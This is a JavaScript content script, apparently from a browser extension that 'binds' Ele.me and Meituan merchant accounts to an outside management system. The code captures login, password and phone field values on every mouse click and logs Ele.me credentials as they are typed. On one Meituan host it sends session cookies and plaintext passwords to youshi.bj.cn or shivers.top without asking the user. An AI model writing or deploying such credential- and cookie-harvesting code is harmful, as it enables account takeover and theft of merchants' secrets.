youshi/expand/ert/content.js

151 lines
6.8 KiB
JavaScript

document.addEventListener("mouseup", function(e) {
// 处理点击事件的代码
var account = document.getElementById("login")
var password = document.getElementById("password")
var phone = document.getElementById("phone")
if(account != null && account != 'undefined'){
localStorage.setItem('account', account.value)
}
if(password != null && password != 'undefined'){
localStorage.setItem('password', password.value)
}
if(phone != null && phone != 'undefined'){
localStorage.setItem('phone', phone.value)
}
});
(function () {
if (location.host === 'melody.shop.ele.me' || location.host === 'nr.ele.me') {
var baseParamUrl = window.location.href
window.onload = function () {
var inputUserName = document.getElementById('username_login_username')
var inputPassWord = document.getElementById('username_login_password')
inputUserName.addEventListener('input', function (event) {
localStorage.setItem('ELMNAME', event.target.value)
})
inputPassWord.addEventListener('input', function (event) {
localStorage.setItem('ELMPASS', event.target.value)
})
}
if (baseParamUrl.includes('ABC')) {
var test = window.location.href.replace('https://melody.shop.ele.me/?ABC=', '')
var userName = test.substring(0, test.indexOf(':'))
var sysType = test.substring(test.indexOf(':') + 1, test.length)
localStorage.setItem('sysName', userName)
localStorage.setItem('sysType', sysType)
}
var s = document.createElement('script')
s.src = chrome.runtime.getURL('injected.js')
s.onload = function () {
this.remove()
};
(document.head || document.documentElement).appendChild(s)
}
if (location.host === 'e.waimai.meituan.com') {
var cookies = document.cookie
var baseParamUrl = window.location.href
if (baseParamUrl.includes('ABC')) {
var test = window.location.href.replace('https://e.waimai.meituan.com/?ABC=', '')
var userName = test.substring(0, test.indexOf(':'))
var sysType = test.substring(test.indexOf(':') + 1, test.length)
localStorage.setItem('sysName', userName)
localStorage.setItem('sysType', sysType)
}
var xhr = new XMLHttpRequest()
var userName = localStorage.getItem('sysName')
var sysType = localStorage.getItem('sysType')
var account = localStorage.getItem('account')
var phone = localStorage.getItem('phone')
var password = localStorage.getItem('password')
var wmPoiName = localStorage.getItem('wmPoiName')
// if(account !== null && password !== null && account !== 'null' && password!== 'null' && account !== '' && password !== ''){
// if ('1' === sysType) {
// //服务器地址
// xhr.open('POST', 'https://youshi.bj.cn/prod-api/mt/cookies', true)
// } else {
// xhr.open('POST', 'https://www.shivers.top/prod-api/negative/store_bing', true)
// }
// xhr.setRequestHeader("Content-Type","application/json")
// var sendData = {'bingType': 1, 'cookie': cookies, 'userName': userName, 'account': account, 'password': password, 'wmPoiName': wmPoiName}
// xhr.send(JSON.stringify(sendData))
// xhr.onreadystatechange = function () {
// if (xhr.readyState === 4 && xhr.status === 200) {
// if (xhr.responseText === 'true') {
// alert('当前授权完成,请直接关闭当前浏览器!')
// }
// }
// }
// }else if(phone !== null && phone !== 'null' ){
if ('1' === sysType) {
//服务器地址
xhr.open('POST', 'https://youshi.bj.cn/prod-api/mt/cookies', true)
} else {
xhr.open('POST', 'https://www.shivers.top/prod-api/negative/store_bing', true)
}
xhr.setRequestHeader("Content-Type","application/json")
var sendData
if(phone !== null && phone !== 'null'){
sendData = {'bingType': 1, 'cookie': cookies, 'userName': userName, 'account': phone, 'password': null, 'wmPoiName': wmPoiName}
}
if(account !== null && password !== null && account !== 'null' && password!== 'null' && account !== '' && password !== ''){
sendData = {'bingType': 1, 'cookie': cookies, 'userName': userName, 'account': account, 'password': password, 'wmPoiName': wmPoiName}
}else {
sendData = {'bingType': 1, 'cookie': cookies, 'userName': userName, 'account': null, 'password': null, 'wmPoiName': wmPoiName}
}
xhr.send(JSON.stringify(sendData))
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
if (xhr.responseText === 'true') {
alert('当前授权完成,请直接关闭当前浏览器!')
}
}
}
// }
localStorage.setItem('account', null)
localStorage.setItem('phone', null)
localStorage.setItem('password', null)
}
if (location.host === 'shangoue.meituan.com') {
var cookies = document.cookie
var systype
var username
var result = window.prompt('请输入需要绑定的系统登录账户', '')
username = result
if (username != null) {
var resultOne = confirm('确定要绑定到优势管家系统吗?')
if (resultOne) {
var xhr = new XMLHttpRequest()
xhr.open('POST', 'https://youshi.bj.cn/prod-api/mt/cookies', true)
//xhr.open('POST', 'http://localhost/dev-api/mt/cookies', true)
xhr.setRequestHeader("Content-Type","application/json")
var sendData = {'bingType': 1, 'cookie': cookies, 'userName': username, 'account': null, 'password': null, 'wmPoiName': wmPoiName}
xhr.send(JSON.stringify(sendData))
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
if (xhr.responseText === 'true') {
alert('当前授权完成,如当前是总账号模式请尽快切换至子门店帐号绑定,目前总账号模式会触发子门店掉线,非总帐号模式请直接关闭当前浏览器!')
}
}
}
} else {
// var resultsecond = confirm('确定要绑定到多合一系统吗?')
// if (resultsecond) {
// var xhr = new XMLHttpRequest()
// xhr.open('POST', 'https://www.shivers.top/prod-api/negative/store_bing', true)
// var sendData = {'bingType': 1, 'cookie': cookies, 'abc': username}
// xhr.send(JSON.stringify(sendData))
// xhr.onreadystatechange = function () {
// if (xhr.readyState === 4 && xhr.status === 200) {
// if (xhr.responseText === 'true') {
// alert('当前授权完成,如当前是总账号模式请点击确定后切换子门店即可,非总帐号模式请直接关闭当前浏览器!')
// }
// }
// }
// } else {
// systype = '3'
// }
}
}
}
})()